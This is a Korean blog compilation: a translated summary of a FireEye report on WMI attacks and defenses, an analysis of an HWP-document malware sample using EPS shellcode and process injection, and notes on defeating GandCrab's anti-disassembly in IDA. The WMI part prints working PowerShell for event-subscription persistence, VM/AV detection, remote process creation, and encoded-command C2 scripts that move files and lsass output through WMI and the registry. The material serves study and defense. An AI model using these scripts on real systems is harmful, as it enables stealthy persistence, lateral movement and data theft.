이 글은 FireEye에서 출간한 "WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS"  보고서를 번역 및 요약한 내용입니다.

 

 

WMI는 윈도우 NT 4.0과 Windows 95부터 모든 윈도우 운영체제에 존재하는 기능으로서, 윈도우 시스템을 관리하기 위한 도구의 집합이다. 로컬과 원격 환경을 모두 지원하며 매우 다양한 기능을 제공한다. 공격자는 WMI의 강력한 기능을 공격에 악용하여 AV, VM 탐지, 코드 실행, Lateral Movement, 공격 지속, 데이터 탈취 등 공격 전반에 이르는 영역에 활용하고 있다. 특히 WMI는 파일리스한 특성으로 인해 공격자들의 인기를 끌고 있으며 2010년 Stuxnet에서 발견된 이후 꾸준히 발견되고 있다.

 


이 글에서는 다음의 내용을 다룬다.

  • WMI 개념과 구조
  • WMI 사용
  • WMI 실전 활용

 

1. WMI 구조

WMI는 WBEM(Web-Based Enterprise Management)와 CIM(Common Information Model) 표준을 마이크로소프트에서 구현한 것이다.

WBEM은 네트워크로 다양한 시스템과 장비가 연결된 현대 IT환경에서 이기종 시스템 사이 상호호환성을 보장하기 위해 DMTF가 제정한 규격 중 하나로서, CIM을 기반으로 분산 네트워크 환경에서 효율적인 시스템 관리 프레임워크를 제시하는 표준이다. CIM은 플랫폼에 독립적인 동시에 기술 중립적으로 관리 정보를 교환하기 위해 제정된 표준이다. 관리 대상 개체 및 그들의 상태, 운영, 조합, 구성, 관계 등을 모두 포함한다.

WMI는 위 표준에 따라 어떻게 데이터를 쿼리(Query), 생산(Populate), 구조화(Structure), 전송(Transmit), 처리(Consume), 수행(Perform actions on)하는지를 규율한다.

1.1 Consuming Data

마이크로소프트는 WMI 데이터를 처리하고 WMI 메소드를 실행하는 방법을 제공한다. Powershell이 WMI와 상호작용하는 가장 대표적인 예시이다.

 

1.2 Querying Data

WMI 객체는 SQL과 비슷한 WQL(WMI Query Language)이라 불리는 문법으로 쿼리할 수 있다.

 

1.3 Populating Data

유저가 WMI 객체를 요청하면 WMI 서비스(Winmgmt)는 어떻게 요청된 객체를 생산할 지 알 수 있어야 한다. 이 작업은 WMI provider가 수행하는데 WMI provider는 COM-based DLL로서 전달된 WQL에 따라 모든 프로세스나 레지스트리를 조회하는 등의 역할을 수행한다.
WMI 서비스가 생성하는 객체 유형은 두 가지가 있는데 dynamic 객체와 persistence 객체로 나뉜다.

  • Dynamic 객체: 특정 쿼리가 수행될 대만 생성되어 존재
  • Persistence 객체: %SystemRoot%\System32\wbem\Repository\에 위치한 CIM repository에 저장되어 유지

 

1.4 Structuring Data

대부분의 WMI 객체 스키마는 MOF(Managed Object Format) 파일에 명시된다. MOF는 C++과 유사한 문법을 사용하며 WMI 객체의 스키마를 제공한다. WMI provider가 raw data를 생성하면 MOF 파일은 생성된 데이터가 포매팅 될 수 있는 스키마를 제공한다.
MOF 파일이 없어도 .NET 코드를 이용하여 바로 CIM 저장소로 삽입될 수 있다.

 

1.5 Transmitting Data

마이크로소프트는 WMI 데이터를 원격으로 전송하는 두가지 프로토콜을 제공한다. DCOM(Distributed Component Object Model)과 WinRM(Windows Remote Management)가 그것이다.

 

1.6 Performing Actions

몇몇 WMI 객체는 실행될 수 있는 메소드를 가지고 있다. Win32_Process 클래스의 Create 메소드가 대표적인 예시로서 공격자들에게 Lateral Movement를 위해 사용되곤 한다.
또한 WMI는 eventing system을 제공하는데 유저는 WMI 객체 생성/수정/삭제 등에 대한 event 핸들러를 등록할 수 있다.

 

1.7 OverView

[그림 1]은 WMI의 전체 구조를 그림으로 표현한 것이다.

 

2. WMI 사용

2.1 WMI 상호작용 도구

마이크로소프트와 써드파티 벤더에서  WMI와 상호작용할 수 있도록 여러가지 도구를 제공하고 있다. 

이 글에서는 대표적인 몇가지만 소개한다.

도구 특징
Powershell 매우 강력한 스크립트 언어로서 cmdlet을 이용해서 WMI와 상호작용할 수 있다.아래는 Powershell 버전 3에서 WMI와 상호작용할 수 있는 cmdlets이다.
CIM cmdlet은 WinRM과 DCOM 프로토콜 모두에서 호환 가능하지만, WMI cmdlet은 DCOM에서만 호환된다.
CIM cmdlet은 Powershell 버전 3이상부터 사용 가능하지만, windows 7에는 버전2가 default로 설치되므로, 보통 WMI cmdlet이 사용된다.
wmic.exe 강력한 커맨드라인 유틸리티로서 다양한 alias를 보유하고 있어 복잡한 쿼리도 수행 가능하다.
WMI 메소드 실행도 가능하며, Win32_ProcessCreate 메소드로 lateral movement 수행에 자주 사용된다.
 WSH language(VBS, JScript) 노후된 언어라는 평가와는 상반되게 WMI 사용에 있어서는 강점을 보유하고 있다.
백도어 구현과 C2 매커니즘 구현에 유리하다. 후술할 ActiveScriptEventConsumer Event Consumer에 의해 지원되는 유일한 언어이다.
winrm.exe 객체 조회(enumerate) / 메소드 실행 / 객체 생성 및 삭제 기능을 수행할 수 있고 WinRM 서비스가 실행되는 로컬, 원격 환경 모두에서 작동하는 장점을 가진다. 

 

아래는 Poweshell에서 WMI와 상호작용할 수 있는 cmdlets의 목록이다.

-- Get-WmiObject
-- Get-CimAssociatedInstance
-- Get-CimClass
-- Get-CimInstance
-- Get-CimSession
-- Set-WmiInstance
-- Set-CimInstance
-- Invoke-WmiMethod
-- Invoke-CimMethod
-- New-CimInstance
-- New-CimSession
-- New-CimSessionOption
-- Register-CimIndicationEvent
-- Register-WmiEvent
-- Remove-CimInstance
-- Remove-WmiObject
-- Remove-CimSession

 

2.2 원격 WMI

원격 개체 쿼리, 이벤트 등록, WMI 클래스 메소드 실행과 클래스 생성을 지원하는 프로토콜은 두가지가 있는데, DCOM과 WinRM이 그것이다. 두 프로토콜은 일반적으로 악성 트래픽으로 간주하지 않으므로 공격자가 이용하기 유리하다.

원격 공격을 위해서는 privileged user credential이 필요하다. 

 

2.2.1 DCOM

  • default 프로토콜
  • TCP 135 port로 접속 시작, 데이터는 랜덤 TCP 포트로 전송
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet –Ports (REG_MULTI_SZ)로 범위 설정
  • 파워쉘 WMI cmdlets이 사용

 

2.2.2 WinRM

  • 권장됨
  • WSMan 표준에 따라 설계
  • 파워쉘 원격 명령실행(Powershell Remoting)은 WinRM 표준에 따라 설계됨
  • WMI뿐 아니라 CIM도 지원
  • TCP 5985(HTTP) 사용, default로 암호화
  • TCP 5986(HTTPS) 사용하도록 설정 가능

WinRM 서비스를 사용하는 시스템에서 원격 WMI 상호작용을 지원하는 내장 도구는 winrm.exe과 Powershell CIM cmdlets인데, CIM cmdlets는 상술하였듯 DCOM을 사용하도록 설정될 수 있으나 WinRM 서비스를 사용하지 않는 경우에만 DCOM을 사용하도록 설정된다.

WInRM 서비스가 Listening 상태인지 체크
PS C:\> Test-WSMan -ComputerName 192.168.72.134

원격 접속
PS C:\> $CimSession = New-CimSession -ComputerName 192.168.72.134 -Credential ‘WIN-B85AAA7ST4U\
Administrator’ -Authentication Negotiate
PS C:\> Get-CimInstance -CimSession $CimSession -ClassName Win32_Process

 

2.3 WMI Eventing

WMI가 원래 관리 도구로 설계된 만큼, WMI는 운영체제의 거의 모든 이벤트에 응답할 수 있다.

 

WMI event의 두가지 유형

  • 하나의 프로세스 맥락에서 local하게 실행되는 이벤트
  • Permanent WMI event subscription - 관리자 권한이 필요하다. WMI repository에 저장되어 SYSTEM으로 실행됨. 재부팅 이후에도 지속

2.3.1 Event의 필수 요소

  • Event Filter -> 목표 이벤트
  • Event Consumer -> 이벤트 발생 시 조치사항
  • Filter와 Consumer 바인딩 -> filter와 consumer 연결 등록 매커니즘

2.3.2 Event Filter

  • 목표이벤트
  • 발생 시 Alert
  • Intrinsic Event와 Extrinsic Event로 구분
구분 개요 예시
Intrinsic Event WMI 클래스, 객체, 네임스페이스 생성/수정/삭제 시 발생
운영체제의 거의 모든 이벤트를 포섭하는 장점
매우 빈번히 발생하므로 시간 등 조건 설정하여 실용성 도모 필요
• __NamespaceOperationEvent
• __NamespaceModificationEvent
• __NamespaceDeletionEvent
• __NamespaceCreationEvent
• __ClassOperationEvent
• __ClassDeletionEvent
• __ClassModificationEvent
• __ClassCreationEvent
• __InstanceOperationEvent
• __InstanceCreationEvent
• __MethodInvocationEvent
• __InstanceModificationEvent
• __InstanceDeletionEvent
• __TimerEvent
Extrinsic Event Intrinsic Event에 비해 많지 않은 이벤트
그러나 매우 실용적이고 강력
• ROOT\CIMV2:Win32_ComputerShutdownEvent
• ROOT\CIMV2:Win32_IP4RouteTableEvent
• ROOT\CIMV2:Win32_ProcessStartTrace
• ROOT\CIMV2:Win32_ModuleLoadTrace
• ROOT\CIMV2:Win32_ThreadStartTrace
• ROOT\CIMV2:Win32_VolumeChangeEvent
• ROOT\CIMV2: Msft_WmiProvider*
• ROOT\DEFAULT:RegistryKeyChangeEvent
• ROOT\DEFAULT:RegistryValueChangeEvent

 

2.3.3 Event Consumer

  • 이벤트 발생시 어떤 행동(action)을 취할 것인가를 나타낸다
  • __EventConsumer 클래스에서 파생

유용한 Event Consumer 목록

Consumer 기능
LogFileEventConsumer 지정된 로그 파일에 이벤트 데이터를 기록
ActiveScriptEventConsumer 임베딩된 JScript 스크립트 페이로드의 VBScript 실행
NTEventLogEventConsumer 이벤트 데이터를 포함하고 있는 이벤트 로그 생성
SMTPEventConsumer 이벤트 데이터를 포함한 이메일 전송
CommandLineEventConsumer
커맨드라인 프로그램 실행

특히 ActiveScriptEventConsumer와 CommandLineEventConsumer는 공격자가 매우 유연한 방법으로 페이로드를 실행하고, 파일리스한 공격까지 실행할 수 있는 강력한 기능을 가지고 있다.

 

Event를 이용한 악성 행위 지속 매커니즘 예시

$filterName=’BotFilter82’

$consumerName=’BotConsumer23’

$exePath=’C:\Windows\System32\evil.exe’

$Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_
PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 
AND TargetInstance.SystemUpTime < 320”

$WMIEventFilter=Set-WmiInstance-Class__EventFilter-NameSpace”root\subscription”
-Arguments @{Name=$filterName;EventNameSpace=”root\cimv2”;QueryLanguage=”WQL”;Query=$Query}
-ErrorActionStop

$WMIEventConsumer=Set-WmiInstance
-ClassCommandLineEventConsumer-Namespace”root\subscription”
-Arguments@=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}

Set-WmiInstance-Class__FilterToConsumerBinding-Namespace”root\subscription”
-Arguments@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

 

3. 실전 활용

3.1 WMI를 이용한 공격

상술했듯 WMI는 매우 다양하고 강력한 기능을 가지고 있어 공격의 모든 단계에서 사용될 수 있다. WMI가 공격에서 가지는 장점을 요약하면 다음과 같다.

  • Windows 98과 NT 4.0부터 Default로 설치되어 활용성 높음
  • psexec 실행보다 은밀한 공격 수행 가능(Stealth)
  • Permanent WMI 이벤트는 SYSTEM으로 실행됨
  • 거의 모든 행위가 가능함
  • WMI repository를 제외하고 디스크 상 흔적을 남기지 않음

3.1.1 정찰(Reconnaissance) 단계

정찰 단계에서 유용하게 사용되는 클래스의 목록

수집 정보 클래스명
Host/OS  Win32_OperatingSystem, Win32_ComputerSystem
파일/디렉토리 리스팅 CIM_DataFile
디스크 볼륨 리스팅
Win32_Volume
레지스트리 StdRegProv
실행 프로세스 Win32_Process
서비스 리스팅 Win32_Service
이벤트 로그 Win32_NtLogEvent
로그온된 계정 Win32_LoggedOnUser
공유 드라이브 Win32_Share
설치된 패치 Win32_QuickFixEngineering

 

3.1.2 AV/VM 탐지

AV 탐지

AV 제품이 설치되면 보통 AntiVirusProductclass를 통해 WMI에 제품을 등록한다. 

해당하는 경우 아래 쿼리로 AV제품 확인 가능하다.

SELECT * FROM AntiVirusProduct 

 

VM/샌드박스 탐지

하드웨어 사양으로 탐지

SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
$VMDetected=$False
$Arguments= @{
Class =’Win32_ComputerSystem’
Filter =’NumberOfLogicalProcessors < 2 OR TotalPhysicalMemory < 2147483648’
}
if (Get-WmiObject@Arguments) { $VMDetected=$True }

 

vmware 탐지

어댑터/바이오스/프로세스명

SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE “%VMware%”
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE “%VMware%”
SELECT * FROM Win32_Process WHERE Name=”vmtoolsd.exe"
$VMwareDetected=$False
$VMAdapter=Get-WmiObjectWin32_NetworkAdapter-Filter’Manufacturer LIKE “%VMware%” OR Name LIKE “%VMware%”’
$VMBios=Get-WmiObjectWin32_BIOS-Filter’SerialNumber LIKE “%VMware%”’
$VMToolsRunning=Get-WmiObjectWin32_Process-Filter’Name=”vmtoolsd.exe”’
if ($VMAdapter-or$VMBios-or$VMToolsRunning) { $VMwareDetected=$True }

 

3.1.3 코드 실행과 Lateral Movement

Win32_Process Create 메소드를 이용하여 실행한다. 서비스 생성 등 불필요한 아티팩트를 생성하지 않는다는 점에서 psexec.exe를 실행하는 것보다 유리하다.

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ‘notepad.exe’
-ComputerName 192.168.72.134 -Credential ‘WIN-B85AAA7ST4U\Administrator’

악성 스크립트가 임베딩된 파워쉘을 실행하는 방법이 유용하게 사용된다.

 

 

3.1.4 C2 채널로 활용

데이터 저장

활용하고 싶은 데이터가 있을 때, WMI 클래스를 동적으로 생성하여 클래스의 static property value에 원하는 데이터를 저장할 수 있다.

$StaticClass=New-ObjectManagement.ManagementClass(‘root\cimv2’,$null,$null)
$StaticClass.Name =’Win32_EvilClass’
$StaticClass.Put()
$StaticClass.Properties.Add(‘EvilProperty’,”This is not the malware you’re looking for”)
$StaticClass.Put()

원격으로 클래스를 생성/수정하여 데이터를 저장할 수 있다는 특성으로 인해 WMI는 매우 효과적인 C2 채널로서 활용될 수 있다.

 

 

Push Attack 

다음의 코드는 어떻게 WMI 클래스가 파일 데이터 저장에 사용될 수 있는지 보여준다.

저장된 파일 데이터는 원격 파일 시스템에 파워쉘을 이용하여 drop될 수 있다.

$LocalFilePath=’C:\Users\ht\Documents\evidence_to_plant.png’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’Administrator’
$Options.Password =’user’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\\192.168.72.134\root\default’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,
[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]
::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘root\default:Win32_EvilClass’).
Properties[‘EvilProperty’].Value
[IO.File]::WriteAllBytes(‘C:\fighter_jet_specs.png’,
[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.
GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod@CommonArgs-ClassWin32_Process-NameCreate-
ArgumentList$PowerShellPayload
# Confirm successful file drop
Get-WmiObject@CommonArgs-ClassCIM_DataFile-Filter’Name = “C:\\fighter_
jet_specs.png”’

 

Pull Attack 

다음의 코드는 파워쉘 커맨드의 결과를 가지고 오는 예시이다.

단순히 텍스트형으로 가져오지 않고, 직렬화(Serialization)와 역직렬화(Deserialization)를 통해 동일한 포맷을 유지하여 데이터를 가져오는 예시다.

$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.131’
}
# Create a remote registry key and value
$HKLM=2147483650
Invoke-WmiMethod@CommonArgs-ClassStdRegProv-NameCreateKey-
ArgumentList$HKLM,’SOFTWARE\EvilKey’
Invoke-WmiMethod@CommonArgs-ClassStdRegProv-NameDeleteValue-
ArgumentList$HKLM,’SOFTWARE\EvilKey’,’Result’
# PowerShell payload that saves the serialized output of `Get-Process lsass` to the registry
$PayloadText=@’
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.
GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value
$Encoded
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding]::Unicode.
GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Invoke PowerShell payload
Invoke-WmiMethod@CommonArgs-ClassWin32_Process-NameCreate-
ArgumentList$PowerShellPayload
# Pull the serialized results back
$RemoteOutput=Invoke-WmiMethod@CommonArgs-ClassStdRegProv-
NameGetStringValue-ArgumentList$HKLM,’SOFTWARE\EvilKey’,’Result’
$EncodedOutput=$RemoteOutput.sValue
# Deserialize and display the result of the command executed on the remote system
$DeserializedOutput=[Management.Automation.
PSSerializer]::Deserialize([Text.Encoding]::Ascii.
GetString([Convert]::FromBase64String($EncodedOutput)))

 

 

3.2 WMI 공격 대응

3.2.1 상용 도구

  • Sysinternals Autoruns
  • Kansa - 사고대응 분석가를 위한 파워쉘 모듈

위의 도구들은 상용 도구이지만 WMI 지속 매커니즘만 탐지 가능하고, 공격자가 지속 코드를 삭제했을 때는 흔적 분석이 어렵다는 단점이 있다.

아래는 지속 매커니즘을 탐지하는 파워쉘 코드의 예시이다.

$Arguments= @{
Credential =’WIN-B85AAA7ST4U\Administrator’
ComputerName =’192.168.72.135’
Namespace =’root\subscription’
}
Get-WmiObject-Class__FilterToConsumerBinding@Arguments
Get-WmiObject-Class__EventFilter@Arguments
Get-WmiObject-Class__EventConsumer@Arguments

 

 

3.2.2 WMI를 이용한 WMI 공격 탐지

공격만큼이나, 방어 수단으로도  WMI는 활용성이 높다. 윈도우 자체 내장 IDS라고 해도 좋을 정도이다.

아래의 표를 참고하여 적절한 Eventing를 구성하면 방어수단으로도 적극 사용할 수 있을 것이다.

케이스 발생 효과(탐지 대상)
WMI를 지속 매커니즘으로 사용한 경우 __EventFilter 인스턴스와 __EventConsumer, __FilterToConsumerBinding이 생성됨
__InstanceCreationEvent 이벤트가 발생
WMI shell 유틸리티가 C2 채널로 사용 __Namespace 인스턴스가 생성/수정
__NamespaceCreationEvent, __NamespaceModificationEvent 이벤트 발생
공격자 데이터 저장을 위해 WMI 클래스가 생성됨 __ClassCreation 이벤트가 발생
악성 WMI Provider가 설치됨 __Provider 클래스 인스턴스가 생성
__InstanceCreationEvent 이벤트가 발생
시작메뉴/레지스트리 등으로 지속 Win32StartupCommand 클래스 인스턴스가 생성
__InstanceCreationEvent 이벤트가 발생
레지스트리 value를 통해 지속 RegistryKeyChangeEvent 또는
RegistryValueChangeEvent 발생
서비스 등록 Win32_Service 클래스 인스턴스가 생성
__InstanceCreationEvent 이벤트 발생

 

3.2.3 기타 대응

  1. WMI 서비스 비활성화 : 이미 윈도우 시스템은 WMI 의존도가 높아 권장되지 않으며 부작용 고려해야 함
  2. WMI 프로토콜 포트 제한 : 원격 WMI가 필요없는 경우 DCOM으로 하여금 하나의 포트만 사용하도록 설정한 다음, 해당 포트 Block
  3. 이벤트로그 분석
이벤트로그 내용
Microsoft-Windows-WinRM/Operational 실패한 WinRM 접속 시도(origin IP 기록)
Microsoft-Windows-WMIActivity/Operational 실패한 WMI 쿼리와 메소드 실행 기록
Microsoft-Windows-DistributedCOM 실패한 DCOM 연결 시도(origin IP 기록)
기타 파워쉘 로그  

 

이번 포스팅에서는 한컴 오피스 한글 문서 악성코드를 분석한다.

 

분석대상

MD5 F2E936FF1977D123809D167A2A51CDEB
sha256 5D9E5C7B1B71AF3C5F058F8521D383DBEE88C99EBE8D509EBC8AEB52D4B6267B
파일 유형 .hwp 파일

분석도구

이름 버전
hwpscan2 0.4
shellcode2exe.py Remnux 6
IDA Pro 6.8
x64dbg  

1. 개요

본 악성코드는 [그림 1]과 같이 2차 북미정상회담 관련 좌담회 초대장으로 위장한 형태로 유포되었다.

실행하면 문서 내 삽입된 EPS가 쉘코드를 실행, 프로세스 인젝션이 일어나며 악성 URL에 접속하게 된다.

 

[그림 1] 문서 내용

한글 문서 악성코드는 거의 대부분이 EPS를 이용하여 악성행위를 수행한다. EPS(Encapsulated PostScript)는 그림 등 그래픽 요소를 출력하는 용도로 사용되는 어도비에서 개발한 프로그래밍 언어로서, 캡슐화된 형태로 개체 내 삽입이 가능하다. EPS를 이용하여 고화질 이미지를 표현하는 등의 기능을 수행할 수 있어 한컴오피스에서는 EPS를 사용하고 있으나 공격자들은 EPS의 취약점을 이용하여 악성행위를 수행한다.

 

스크립트 내 쉘코드 데이터를 선언하고, cvx exec 명령어를 통해 쉘코드 데이터를 실행 가능한 형태로 변경한 후 exec로 실행하는 패턴이 상당수를 차지한다. 

 

2. 분석

2.1 구조 분석

한글 악성코드를 분석할 때는 hwpscan2라는 누리랩에서 만든 도구를 사용한다. hwpscan2는 파일 포맷 분석과 취약점 분석 기능을 제공한다.

 

[그림 2]는 hwpscan2로 열어본 파일의 구조다.

 

[그림 2] 파일 구조

Bindata 디렉토리 밑에 BIN0003.eps라는 EPS 객체가 있는 것을 확인할 수 있다.

한글은 본문과 그림파일등 데이터를 zlib 알고리즘으로 압축하여 저장하는데, hwpscan2에서는 압축해제된 데이터도 자동으로 보여준다.

 

그림3은 압축해제된 EPS 스크립트다.

 

[그림3] 압축해제된 EPS 스크립트

 

2.2 악성 PostScript 분석

[그림 4] PostSciprt 스크립트 1

xor로 인코딩된 데이터가 ar로 선언되어 있고, 100을 key로 하여 xor 디코딩한 데이터를 cvx exec 명령어로 실행한다.

디코딩하면 또 다른 postscript 스크립트(스크립트 2)가 나온다. 

 

[그림 5] 스크립트 2

스크립트 2에는 쉘코드가 삽입되어 있다. 90(nop), e8(call) 등 opcode로 추정되는 데이터가 보이는 것으로 보아 추가적인 디코딩은 필요 없는 것으로 보인다.

 

 

2.3 쉘코드 분석

2.3.1 정적분석

쉘코드 페이로드를 바이너리 파일로 저장하고, 악성코드 분석 프레임워크인 Remnux의 shellcode2exe.py를 이용하여 실행 가능한 exe 파일로 만들어준다.

아래는 exe파일을 IDA Pro로 디컴파일 한 모습이다. 

 

[그림 6] IDA Pro로 shellcode.exe 디컴파일

함수명도 하나도 보이지 않고, 분석이 거의 이루어지지 않았음을 알 수 있다.

빨간 사각형으로 표시한 구간을 보면, 반복적으로 특정 영역을 xor디코딩한다. 프로그램이 실행되면서 데이터가 언패킹되고 본래 코드가 실행되는 복잡한 구조를 가지고 있기 때문에 분석이 되지 않는 것이다.

따라서 정적분석은 불가능하고, 디버거와 샌드박스로 동적분석을 할 수밖에 없다.

 

2.3.2 동적분석

2.3.2.1 DLL 및 API 주소 탐색

악성코드는 PEB와 LDR 구조를 이용하여 Kernel32.dll 등 dll을 동적으로 찾아 API를 사용한다. (자세한 방법은 추후 포스팅하겠다.)

 

[그림 7] DLL 주소 탐색

2.3.2.2 프로세스 생성(iexplorer.exe)

Cuckoo 샌드박스로 분석한 결과 위 코드는 internet explorer를 실행시키고 Internet Explorer를 실행하고, 악성 URL과 통신한다.

현재는 비활성화된 URL이다.

 

 

2.3.2.3 iexplorer.exe에 코드 인젝션

CreateRemoteThread, NtAllocateVirtualMemory, WriteProcessMemory API를 이용해서 코드 인젝션을 수행한다.

인젝션된 코드가 악성 URL 통신을 수행한다. 인젝션 된 코드에 대한 분석은 추후 추가하겠다.

 

 

악성코드 제작자들은 악성코드 분석을 어렵게 하려는 목적으로 각종 Anti-Disassembly 기법을 사용한다.

이 포스팅에서는 GandCrab 5.0.4 v을 분석하던 중 맞닥뜨린 Anti-Disassembly 기법과 해결법에 대해 다룬다.

 

IDA Pro로 악성코드를 디컴파일 하는 과정에서 다음과 같은 부분을 발견하게 되었다.

디컴파일 초기 상태

분명히 push ebp로 시작하는 함수의 프롤로그가 보이고, 0x403c02에서 call 0x403b12라는 instruction으로 호출되고 있는 함수임에도 불구하고 loc_403b12라고 레이블링되면서 중간의 opcode는 분석이 불가능하고 f5를 사용해도 디컴파일이 되지 않는 것을 확인할 수 있다.

 

먼저 해결해야 하는 부분은 0x403b22 주소의

jnz    short near ptr loc_403B26+3

jz      short near ptr loc_403B26+3

부분이다. zf플래그가 설정되어 있든 아니든 403b29주소로 점프하지만, 디컴파일러는 이를 해석하지 못한다.

 

opcode 보기 설정

options-general에서 number of opcode bytes옵션을 5이상으로 설정해서 opcode를 함께 보자.

 

 

 

75 는 jnz, 05는 이 opcode가 끝나는 지점으로부터 5바이트라는 뜻으로, zf플래그가 설정되어 있지 않을 때 403b24 오프셋에서 5바이트 뒤인 403b29로 점프하라는 뜻이다. 분기에 상관없이 무조건 403b29로 점프하도록 instruction을 패치한다.

edit->patch programs -> change byte 옵션에서 75와 74를 EB(jmp instruction)로 바꾸어준다

 

1차 패치된 프로그램

이후 u키로 loc_403b12와 loc_403b26을 undefine해주고 p키를 눌러 다시 함수로 해석한다. 위는 그 과정을 거치고 난 disassembly의 모습이다.

 

이제 디컴파일은 수행되지만 0x403b12 하나의 함수로 해석되어야 할 것이, sub_403b12와 sub_403b2c 두 개의 함수로 잘못 해석되는 문제가 발생한다.

 

더불어 sub_403b2c 는 함수 프롤로그가 없어서 스택프레임이 적절히 생성되지 않아 디컴파일 시 아래의 오류가 발생하며 디컴파일이 실패한다.

함수 진행중 ebp 보다 esp의 값이 커지는 부분이 있다는 것이다.

 

 

esp 가 positive value 를 갖게 되는 instruction에서 alt+k 를 눌러서 sp value를 수정해주면 디컴파일은 가능해진다.

스택 포인터 조정

 

아래는 디컴파일 결과이다.

 

그러나 sp value를 임의로 수정한 것이므로 적절한 해결책은 아니며 변수 표현이 정확히 되지 않는 문제가 발생한다 . 스택 정리가 정확히 될 수 있도록 프롤로그에서부터 함수 흐름을 제대로 이어줄 필요가 있다.

 

 

아래의 그림을 보자.

먼저 0x403b18에서 call $+5로 0x403b1d를 호출하는데, 이때 call instruction은 ret 주소(0x403b1d)를 스택에 push하므로 esp에는 0x403b1d 값이 존재하게 되는데  0x403b1d에서 [esp]에 0x11값을 더하므로, esp에는 0x403b2e값이 들어가게 된다. 다음으로 0x403b29에서 pop eax, jmp eax명령어를 통해 esp의 0x403b2e로 점프하게 된다.

 

따라서 jmp eax를 jmp 403b2e로 바꾸어주면 스택프레임을 유지하면서 프로그램의 흐름도 똑같이 유지할 수 있게 된다. 아래는 patch program을 이용하여 패치한 결과이다.

디컴파일이 적절히 된 것을 알 수 있다.

+ Recent posts